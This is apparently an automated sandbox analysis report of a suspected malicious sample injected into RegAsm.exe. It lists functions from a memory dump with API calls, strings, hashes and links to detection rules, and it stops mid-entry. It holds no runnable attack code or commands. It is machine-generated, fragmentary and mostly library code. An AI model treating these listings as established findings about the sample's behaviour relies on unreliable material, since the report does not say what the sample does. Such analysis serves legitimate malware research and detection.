String ID: std::nullptr_t$std::nullptr_t $volatile$volatile
API String ID: 2894330373-757766384
Opcode ID: 62c78a45a311e9d8c39e42b8bd332dbeb8d5bd46d5e0723c7f87cedc83f0bd37
Instruction ID: 73f3193a950c44e03eb166a4d69024b4788f275710193067aed13150d85364f4
Opcode Fuzzy Hash: 62c78a45a311e9d8c39e42b8bd332dbeb8d5bd46d5e0723c7f87cedc83f0bd37
Instruction Fuzzy Hash: 1C619A7480410AEECB14DF68CC489FE7FB4FB4970CF048A6AE855AB211DB759645DF90

Function 00548498 Relevance: 15.9, APIs: 3, Strings: 6, Instructions: 113COMMONLIBRARYCODE

Download Yara Rule

APIs

operator+.LIBVCRUNTIME ref: 005484FB
DName::operator+.LIBCMT ref: 005485B9
operator+.LIBVCRUNTIME ref: 005485F8

Strings

std::nullptr_t, xrefs: 0054853F
cli::array<, xrefs: 00548595
void, xrefs: 005484C6
void , xrefs: 005484E5
cli::pin_ptr<, xrefs: 005485CF
std::nullptr_t , xrefs: 0054854F

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: operator+$Name::operator+
String ID: cli::array<$cli::pin_ptr<$std::nullptr_t$std::nullptr_t $void$void
API String ID: 1198235884-2239912363
Opcode ID: f8e0ba3558774e3a242d122333246f3809362ad6e8eb574fc22014946d50ec2d
Instruction ID: 7c7e5bff818a941dcfe79e601a5e8e31d70bfacc444b7772a10236a8f879a01f
Opcode Fuzzy Hash: f8e0ba3558774e3a242d122333246f3809362ad6e8eb574fc22014946d50ec2d
Instruction Fuzzy Hash: AD4111B0904209AFDF10DF94D849BFE7FF5BB05318F048859EA15AB251DBB49A48DF80

Function 00545826 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 151COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 005458B4
DName::operator+.LIBCMT ref: 00545907

Part of subcall function 005444DA: shared_ptr.LIBCMT ref: 005444F6

Part of subcall function 00544405: DName::operator+.LIBCMT ref: 00544426

DName::operator+.LIBCMT ref: 005458F8
DName::operator+.LIBCMT ref: 00545958
DName::operator+.LIBCMT ref: 00545965
DName::operator+.LIBCMT ref: 005459AC
DName::operator+.LIBCMT ref: 005459B9

Strings

HV, xrefs: 0054599B, 005459A5

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$shared_ptr
String ID: HV
API String ID: 1037112749-1037838562
Opcode ID: 1c3b66cf4e4e30fde5248420b985507d24960887c4dae321197c1bbce77a81d2
Instruction ID: 108bcb62c00516556a76b7d2b0d91d07d1d1761b4f47007b49a6be26a047f238
Opcode Fuzzy Hash: 1c3b66cf4e4e30fde5248420b985507d24960887c4dae321197c1bbce77a81d2
Instruction Fuzzy Hash: 945190B1900619EBDF05DBA4C849FEEBFB8FB48714F144419F602A7181EB349A44CBA0

Function 00566B03 Relevance: 14.1, APIs: 1, Strings: 7, Instructions: 147COMMONLIBRARYCODE

Download Yara Rule

APIs

DecodePointer.KERNEL32(?,?,?,?,?,?,?,?,?,0056646F), ref: 00566B1C

Strings

acos, xrefs: 00566C52
log10, xrefs: 00566B5E, 00566B6D
log, xrefs: 00566B79, 00566B88
pow, xrefs: 00566BBA, 00566C64, 00566CB1
sqrt, xrefs: 00566C5B
exp, xrefs: 00566B9B, 00566C00
asin, xrefs: 00566C49

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: DecodePointer
String ID: acos$asin$exp$log$log10$pow$sqrt
API String ID: 3527080286-3064271455
Opcode ID: e4f2f05fd6a0abc3649a66b90c2f681f835bab45a522b097eb801e84404631cd
Instruction ID: 58fc13782c1a2441b6850707650057e27253402340535adaf62e712985e30948
Opcode Fuzzy Hash: e4f2f05fd6a0abc3649a66b90c2f681f835bab45a522b097eb801e84404631cd
Instruction Fuzzy Hash: 25517774900E0ADBEB109F68E8881ADBFB4FB49304F104595E4C2A7264CB748E69EB59

Function 00546E89 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 73COMMONLIBRARYCODE

Download Yara Rule

APIs

shared_ptr.LIBCMT ref: 00546EFA
DName::operator+.LIBCMT ref: 00546F42
DName::DName.LIBVCRUNTIME ref: 00546F72

Strings

unsigned , xrefs: 00546F21
char , xrefs: 00546EBC
short , xrefs: 00546EC5
long , xrefs: 00546EE5
int , xrefs: 00546ED5

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+shared_ptr
String ID: char $int $long $short $unsigned
API String ID: 3919194733-3894466517
Opcode ID: 63fe147f499c64e451dcb104e9b6a140272a3779615e1466f6713bb81907b1c5
Instruction ID: 5dfba9cc13da80164562219bfc48040da0b8cee7c4c7da799e20225a4d46394f
Opcode Fuzzy Hash: 63fe147f499c64e451dcb104e9b6a140272a3779615e1466f6713bb81907b1c5
Instruction Fuzzy Hash: D7212AB4D00249EFCB04CFA8D8997EEBFB4FB06309F008959E461A7295D7B59A48CF51

Function 00540F60 Relevance: 13.7, APIs: 9, Instructions: 154memoryCOMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,0041F869,0041F86B,00000000,00000000,7A18E7C2,?,?,?,Function_001415D0,00589468,000000FE,?,0041F869,00000001), ref: 00540FE9
MultiByteToWideChar.KERNEL32(00000000,00000000,0041F869,?,00000000,00000000,?,Function_001415D0,00589468,000000FE,?,0041F869), ref: 00541064
SysAllocString.OLEAUT32(00000000), ref: 0054106F
_com_issue_error.COMSUPP ref: 00541098
_com_issue_error.COMSUPP ref: 005410A2
GetLastError.KERNEL32(80070057,7A18E7C2,?,?,?,Function_001415D0,00589468,000000FE,?,0041F869,00000001), ref: 005410A7
_com_issue_error.COMSUPP ref: 005410BA
GetLastError.KERNEL32(00000000,?,?,?,Function_001415D0,00589468,000000FE,?,0041F869,00000001), ref: 005410D0
_com_issue_error.COMSUPP ref: 005410E3

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _com_issue_error$ByteCharErrorLastMultiWide$AllocString
String ID:
API String ID: 1353541977-0
Opcode ID: 2fe2c51653d8cda91546c187e4437ef71e7e62000d21293260729d718a266f4c
Instruction ID: 3273c3d7c6ba730919ae7ead805ef241dc3f2e5e58777b6658a3f02201a3b698
Opcode Fuzzy Hash: 2fe2c51653d8cda91546c187e4437ef71e7e62000d21293260729d718a266f4c
Instruction Fuzzy Hash: 4B414971A00645ABDB10DF68DC49BEEBFA8FB44758F204239F909E7281D7759884CBA4

Function 005681D0 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 275COMMON

Download Yara Rule

APIs

__FindPESection.LIBCMT ref: 00568301
VirtualQuery.KERNEL32(83000000,7A18E7C2,0000001C,7A18E7C2,?,?,?), ref: 005683E6
__FindPESection.LIBCMT ref: 00568423
__FindPESection.LIBCMT ref: 0056845D

Strings

< Y, xrefs: 00568472
< Y, xrefs: 00568525
< Y, xrefs: 00568325

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FindSection$QueryVirtual
String ID: < Y$< Y$< Y
API String ID: 2992484814-2098822819
Opcode ID: 3b793e36efddfdf0282e14faa0d2fbde381f196fff8897a5aeeb879d4427cb30
Instruction ID: 0c786a70bc05507d8cf3a2c5bdfa6f6d59f7082cdbc7ea77bdd947899ef05769
Opcode Fuzzy Hash: 3b793e36efddfdf0282e14faa0d2fbde381f196fff8897a5aeeb879d4427cb30
Instruction Fuzzy Hash: 43A1B075A00A1A9FCB20CF58D9847BDBBB8FB58720F15076AE819A7391DB31DC45CB90

Function 00549FA4 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 119COMMONLIBRARYCODE

Download Yara Rule

APIs

DName::operator+.LIBCMT ref: 00549FE8
DName::operator+.LIBCMT ref: 00549FF4

Part of subcall function 005444DA: shared_ptr.LIBCMT ref: 005444F6

DName::operator+=.LIBCMT ref: 0054A0B2

Part of subcall function 0054885E: DName::operator+.LIBCMT ref: 005488C9
Part of subcall function 0054885E: DName::operator+.LIBCMT ref: 00548B93

Part of subcall function 00544405: DName::operator+.LIBCMT ref: 00544426

DName::operator+.LIBCMT ref: 0054A06F

Part of subcall function 00544532: DName::operator=.LIBVCRUNTIME ref: 00544553

DName::DName.LIBVCRUNTIME ref: 0054A0D6
DName::operator+.LIBCMT ref: 0054A0E2

Strings

{for , xrefs: 0054A01B

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator+=Name::operator=shared_ptr
String ID: {for
API String ID: 2795783184-864106941
Opcode ID: bdbd1897dbe82126fc8655caad7fd300d3708f8b04b2bdd4b2af56ab052036d1
Instruction ID: 3819757beef3ac60148b6cdd210775a5acd7a301e286b7ddf90b1f29eef026ee
Opcode Fuzzy Hash: bdbd1897dbe82126fc8655caad7fd300d3708f8b04b2bdd4b2af56ab052036d1
Instruction Fuzzy Hash: A041E4B0A80244AFDF14DFA8C859BEE7FF9BB4A304F404458E289EB281DB749D45CB51

Function 0054560C Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 80COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 005454FF: Replicator::operator[].LIBCMT ref: 0054556B

DName::DName.LIBVCRUNTIME ref: 00545658
DName::operator+.LIBCMT ref: 0054569E

Strings

,<ellipsis>, xrefs: 00545689
void, xrefs: 005456F0
..., xrefs: 005456CF
,..., xrefs: 00545679
<ellipsis>, xrefs: 005456DF

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: NameName::Name::operator+Replicator::operator[]
String ID: ,...$,<ellipsis>$...$<ellipsis>$void
API String ID: 583996491-2211150622
Opcode ID: 387559c01c155620a9fd0e4bcd2e95fb6cbb8e81fc031162b26aa8a3a8eb7de6
Instruction ID: 22717dab220000f2b2fe5b9231030ba8d422ba255fa49f262cc73ca56132a8c7
Opcode Fuzzy Hash: 387559c01c155620a9fd0e4bcd2e95fb6cbb8e81fc031162b26aa8a3a8eb7de6
Instruction Fuzzy Hash: 2E313A70900609DFCB04DF98C8546EEBFF4FB09308F508559D656EB252E7749A08DF41

Function 00419F50 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00419F62
int.LIBCPMTD ref: 00419F74

Part of subcall function 0040E500: std::_Lockit::_Lockit.LIBCPMT ref: 0040E516
Part of subcall function 0040E500: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E540

Concurrency::cancel_current_task.LIBCPMTD ref: 00419FBB
std::_Lockit::~_Lockit.LIBCPMT ref: 0041A031

Strings

zA, xrefs: 00419F80, 00419FA6, 00419FA9
zA, xrefs: 00419FC8, 00419FDC, 00419FE8, 00419FED, 00419FDF

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID: zA$zA
API String ID: 3053331623-2891261629
Opcode ID: 64b8a471f0bbf50294b7c22394a367852c954cdf6a9aa49a91d3b8e7e4af76d4
Instruction ID: 53972e3499c9381113a31361ce457d97195298eb20028607f6c6d65a004869b6
Opcode Fuzzy Hash: 64b8a471f0bbf50294b7c22394a367852c954cdf6a9aa49a91d3b8e7e4af76d4
Instruction Fuzzy Hash: 7F31B2B4D00209EFCB04DF95D581AEEBBB1BF48304F10856AE815A7390EB34AE45CFA5

Function 005094A0 Relevance: 10.8, APIs: 3, Strings: 3, Instructions: 338COMMON

Download Yara Rule

Strings

>, xrefs: 005096F0
!kcc, xrefs: 005097BC
7, xrefs: 00509847

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: !kcc$7$>
API String ID: 0-3074482854
Opcode ID: 29750111deb84b7588785617db08492fa461d3798ce80ec83168ceaa2c92d49a
Instruction ID: 1a053a08fb235a40f07a1a16a9561ee80e966d54d3274d9a8826d429f96d62fe
Opcode Fuzzy Hash: 29750111deb84b7588785617db08492fa461d3798ce80ec83168ceaa2c92d49a
Instruction Fuzzy Hash: 75F14274D04248DFDB14CFA8C890BEEBBB2BF49304F1484A9D845AB386D735AA45CF60

Function 0055C285 Relevance: 10.8, APIs: 7, Instructions: 329COMMONLIBRARYCODE

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0055C30B

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: f70da735b144380618cf4515d7c89395848c01acb3a287e63f8147dc8b992a0b
Instruction ID: a4d94c605d1a9f00be99a8e263be0421509704955c1c499ae9695e573385f7e4
Opcode Fuzzy Hash: f70da735b144380618cf4515d7c89395848c01acb3a287e63f8147dc8b992a0b
Instruction Fuzzy Hash: 40B15772A003569FDF118E68CCA1BBE7FA5FF59312F158556EC04AF382E274A905C7A0

Function 00418CD0 Relevance: 10.7, APIs: 4, Strings: 2, Instructions: 207COMMON

Download Yara Rule

APIs

_memcpy_s.LIBCPMTD ref: 00418D95
_memcpy_s.LIBCPMTD ref: 00418DCE
_memcpy_s.LIBCPMTD ref: 00418E79
_memcpy_s.LIBCPMTD ref: 00418EB2

Strings

Info, xrefs: 00418DF1
Salt, xrefs: 00418D10

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: _memcpy_s
String ID: Info$Salt
API String ID: 2001391462-2052181562
Opcode ID: 55f51af687f5ad04fc72ce6399350c1af516ab1c5759d67a421caf097d0f9614
Instruction ID: c264f8babf55e3121e48eae263ef24839df939fa8e29ab3a41309e630623033c
Opcode Fuzzy Hash: 55f51af687f5ad04fc72ce6399350c1af516ab1c5759d67a421caf097d0f9614
Instruction Fuzzy Hash: 1991C8B5E002089BCF18DF95D891AEEBBB5BF48700F20815EE519B7391DB34A941CF64

Function 005415D0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00541607
___except_validate_context_record.LIBVCRUNTIME ref: 0054160F
_ValidateLocalCookies.LIBCMT ref: 00541698
__IsNonwritableInCurrentImage.LIBCMT ref: 005416C3
_ValidateLocalCookies.LIBCMT ref: 00541718

Strings

csm, xrefs: 005416AD

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: a540b074671f36167dc129147950784cfae59cc2a7a1fa721ab5878aeb002676
Instruction ID: c68a64b44508398c878f129a5d3fe6c98b1eedbf56001cbea5a083c7032634fd
Opcode Fuzzy Hash: a540b074671f36167dc129147950784cfae59cc2a7a1fa721ab5878aeb002676
Instruction Fuzzy Hash: A241E134A002099BCF10DF68C884AEEBFB5FF85328F188555E815AB352D731EA41CF96

Function 0055B745 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 74COMMONLIBRARYCODE

Download Yara Rule

APIs

FreeLibrary.KERNEL32(00000000,?,00000000,00000800,00000000,0041C3C8,?,7A18E7C2,?,0055B854,0041C3C8,0053EE88,00000000,0041C3C8), ref: 0055B806

Strings

ext-ms-, xrefs: 0055B7B0
api-ms-, xrefs: 0055B79C

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID: api-ms-$ext-ms-
API String ID: 3664257935-537541572
Opcode ID: 07332b6ce17e2f703ef61ed6b4f156b0a394a141b95f34ed5d9ccba1d0ca9100
Instruction ID: e3e96c8ff579e253a43238db1645e7e45017178ed6114f0d3f05bd009eec5719
Opcode Fuzzy Hash: 07332b6ce17e2f703ef61ed6b4f156b0a394a141b95f34ed5d9ccba1d0ca9100
Instruction Fuzzy Hash: 50212B35A11111EFEB219B34DC99A5A3F68FF967A1F210612ED05A72C0D770ED09D6E0

Function 00540BE5 Relevance: 9.2, APIs: 6, Instructions: 175COMMONLIBRARYCODE

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000001,?,00000000,00000000,?,?,?,00000001), ref: 00540C2E
MultiByteToWideChar.KERNEL32(00000001,00000001,00000000,?,00000000,00000000), ref: 00540C99
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00540CB6
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,?,00000000,00000000,00000000), ref: 00540CF5
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00540D54
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00540D77

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: ByteCharMultiStringWide
String ID:
API String ID: 2829165498-0
Opcode ID: 965879474f20308d66b19da333d38cfe82853274df6174ffd504edcd705e059b
Instruction ID: 7924bcfe56baad60bca6f69dd414dbd1d4c79609b7320330f16e382d54830c9a
Opcode Fuzzy Hash: 965879474f20308d66b19da333d38cfe82853274df6174ffd504edcd705e059b
Instruction Fuzzy Hash: 9351DF7290020AABEF205FA4CC45FEB7FA9FF44758F204529FA15A7194D774AC18CBA0

Function 00548C1C Relevance: 9.1, APIs: 6, Instructions: 94COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0054A0F8: Replicator::operator[].LIBCMT ref: 0054A135

DName::operator=.LIBVCRUNTIME ref: 00548CC8

Part of subcall function 0054885E: DName::operator+.LIBCMT ref: 005488C9
Part of subcall function 0054885E: DName::operator+.LIBCMT ref: 00548B93

DName::operator+.LIBCMT ref: 00548C82
DName::operator+.LIBCMT ref: 00548C8E
DName::DName.LIBVCRUNTIME ref: 00548CD2
DName::operator+.LIBCMT ref: 00548CEF
DName::operator+.LIBCMT ref: 00548CFB

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator+$NameName::Name::operator=Replicator::operator[]
String ID:
API String ID: 955152517-0
Opcode ID: 6057e8de4a3bc3946397680d610b676326f041e0c2e18d8cea43842d062cffb7
Instruction ID: ea259bc8041b85ddfc26555461702d1f19262a6af636b3ae9ec508b4714b1276
Opcode Fuzzy Hash: 6057e8de4a3bc3946397680d610b676326f041e0c2e18d8cea43842d062cffb7
Instruction Fuzzy Hash: 5D318FB1A012049FCB14DF54C859AEEBFF4BFA9308F14885DE586A7391DB749944CB60

Function 00567C9A Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 140COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00567CEB
TypeidsEqual.LIBVCRUNTIME ref: 00567D10
PMDtoOffset.LIBCMT ref: 00567D26
PMDtoOffset.LIBCMT ref: 00567DA7

Strings

.?AVAuthenticatedSymmetricCipher@CryptoPP@@, xrefs: 00567DA3

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: EqualOffsetTypeids
String ID: .?AVAuthenticatedSymmetricCipher@CryptoPP@@
API String ID: 1707706676-708400366
Opcode ID: 2ca317564d3a52bdce74212441e3e6b18e266408b0b4746ca7a4d4689c7ceabc
Instruction ID: 6183c815ec9eaf9a494310280fafbb1ff3a34c911f8066f673c7857368414e6e
Opcode Fuzzy Hash: 2ca317564d3a52bdce74212441e3e6b18e266408b0b4746ca7a4d4689c7ceabc
Instruction Fuzzy Hash: 294167359082099BCF11CF68C481AEEBFF5FF59718F14488AE851A7381D632AE04CBA0

Function 0054971C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 96COMMONLIBRARYCODE

Download Yara Rule

APIs

UnDecorator::getSignedDimension.LIBCMT ref: 0054976D

Strings

void, xrefs: 0054973D
`template-parameter, xrefs: 005497D7

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Decorator::getDimensionSigned
String ID: `template-parameter$void
API String ID: 2996861206-4057429177
Opcode ID: 429f89e7201006709f20a43ec1909a92f9b461d6af2dcfb0a2af1a8c6fb3cefb
Instruction ID: 78ea58bf3f5d40766a66675f153a780f9fd7fd566ba505c7f4f6f0a5f7840526
Opcode Fuzzy Hash: 429f89e7201006709f20a43ec1909a92f9b461d6af2dcfb0a2af1a8c6fb3cefb
Instruction Fuzzy Hash: 9A312F719042099BDF04DBE4D85ABFFBBF8BB59318F10442AE601F7191DB746A08DB61

Function 005504B8 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,7A18E7C2,?,?,00000000,0056B350,000000FF,?,00550494,?,?,00550468,00000000), ref: 005504ED
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 005504FF
FreeLibrary.KERNEL32(00000000,?,00000000,0056B350,000000FF,?,00550494,?,?,00550468,00000000), ref: 00550521

Strings

CorExitProcess, xrefs: 005504F7
mscoree.dll, xrefs: 005504E6

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 715ae26f1df17045483f44e7f30f7cbd8e75caaab172ca77aed8a01661f39ecc
Instruction ID: edd3f38bb49b7ed2c59420e0eea74cbf21de6eeb82f48ed1eb935a135c82407f
Opcode Fuzzy Hash: 715ae26f1df17045483f44e7f30f7cbd8e75caaab172ca77aed8a01661f39ecc
Instruction Fuzzy Hash: 60016235A44659EFDB118F54DC09BBEBFB8FB05B16F000626F861A32D0EBB59904CA90

Function 00418600 Relevance: 7.6, APIs: 5, Instructions: 75COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00418612
int.LIBCPMTD ref: 00418624

Part of subcall function 0040E500: std::_Lockit::_Lockit.LIBCPMT ref: 0040E516
Part of subcall function 0040E500: std::_Lockit::~_Lockit.LIBCPMT ref: 0040E540

Concurrency::cancel_current_task.LIBCPMTD ref: 0041866B
std::_Lockit::~_Lockit.LIBCPMT ref: 004186E1

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$Concurrency::cancel_current_task
String ID:
API String ID: 3053331623-0
Opcode ID: 9dfa335a9617bfa51966f1f9c5bcca831a14ce292f15ae3f1da6f232f06b58cf
Instruction ID: 4f9b08ad9ea1833e01c620b55d558fd689047bf99b404b2cebb7e2b18f99977d
Opcode Fuzzy Hash: 9dfa335a9617bfa51966f1f9c5bcca831a14ce292f15ae3f1da6f232f06b58cf
Instruction Fuzzy Hash: 0631B4B5D00209DFCB04DF95D585AEEBBB1BF48304F10866AE815B7390DB346A45CF95

Function 0053FFF3 Relevance: 7.5, APIs: 5, Instructions: 44COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0053FFFA
std::_Lockit::_Lockit.LIBCPMT ref: 00540005
std::_Lockit::~_Lockit.LIBCPMT ref: 00540073

Part of subcall function 00540156: std::locale::_Locimp::_Locimp.LIBCPMT ref: 0054016E

std::locale::_Setgloballocale.LIBCPMT ref: 00540020
_Yarn.LIBCPMT ref: 00540036

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Lockitstd::_std::locale::_$H_prolog3LocimpLocimp::_Lockit::_Lockit::~_SetgloballocaleYarn
String ID:
API String ID: 1088826258-0
Opcode ID: 55633578a96282770fe92a03875ab03946d864bce54cf0b12479ebad27d1b95f
Instruction ID: 01b92c8581a9b4f7daa214a8d17a277ee38d8442a4420f2831fb8f25587f8b46
Opcode Fuzzy Hash: 55633578a96282770fe92a03875ab03946d864bce54cf0b12479ebad27d1b95f
Instruction Fuzzy Hash: ED01DF75A005168BCB06EB20CC596BC7FA1FFE8340B14501AED1257392CF746E06DBC1

Function 005454FF Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 93COMMONLIBRARYCODE

Download Yara Rule

APIs

Replicator::operator[].LIBCMT ref: 0054556B
DName::operator=.LIBVCRUNTIME ref: 00545600

Strings

6VT, xrefs: 0054557E
6VT, xrefs: 00545507

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name::operator=Replicator::operator[]
String ID: 6VT$6VT
API String ID: 3211817929-3469345667
Opcode ID: 505c11219b8a677678f10478d5e0515d3b53fb340e56792bb3c65efe8514eb71
Instruction ID: 436718d72e149dd348de0bf8956e36b9ce54331c099c73560438a4ae18dc5a68
Opcode Fuzzy Hash: 505c11219b8a677678f10478d5e0515d3b53fb340e56792bb3c65efe8514eb71
Instruction Fuzzy Hash: B0313631600A049FDB14DBA4E8497FE7FAAFB56B1DF14442DE582D7282EF789844CB50

Function 0054684C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 72COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00544103: pDNameNode::pDNameNode.LIBCMT ref: 00544129

DName::DName.LIBVCRUNTIME ref: 0054690B
DName::operator+.LIBCMT ref: 00546919

Strings

void, xrefs: 0054689C
void , xrefs: 005468B4

Memory Dump Source

Source File: 00000003.00000002.1827502764.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_400000_RegAsm.jbxd

Similarity

API ID: Name$Name::Name::operator+NodeNode::p
String ID: void$void
API String ID: 3257498322-3746155364
Opcode ID: e6938d89f6235a91674158057764b790ed661707474b7a1337765f99360457c9
Instruction ID: 2e0dcc8e48a0956e0fc30b177fb4e7bc1997c403489e9a914e9954fe780c0bce
Opcode Fuzzy Hash: e6938d89f6235a91674158057764b790ed661707474b7a1337765f99360457c9
Instruction Fuzzy Hash: E72131B5904109EFDF04DF90C859AFE7FB8FB09308F108559E906A7251EBB05658DF51

Function 00558A61 Relevance: 6.3, APIs: 4, Instructions: 333fileCOMMON

Download Yara Rule

APIs

